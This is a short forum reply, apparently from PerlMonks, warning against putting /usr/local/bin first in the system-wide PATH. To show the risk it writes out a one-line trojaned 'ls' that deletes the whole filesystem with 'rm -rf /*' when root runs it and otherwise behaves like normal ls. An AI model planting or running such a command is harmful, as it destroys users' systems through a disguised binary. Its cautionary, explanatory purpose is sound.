put /usr/local/bin as the first entry in PATH system-wide
This would be a really, really bad idea.
joe_user:~$ echo '[ "$UID" = 0 ] && rm -rf /* || /bin/ls "$@"' > /usr/ +local/bin/ls; chmod +x /usr/local/bin/ls
The next time that root runs 'ls', the system is gone.
In reply to Re^2: My first USEFUL script!
by oko1
in thread My first USEFUL script!
by nefigah
| For: | Use: | ||
| & | & | ||
| < | < | ||
| > | > | ||
| [ | [ | ||
| ] | ] |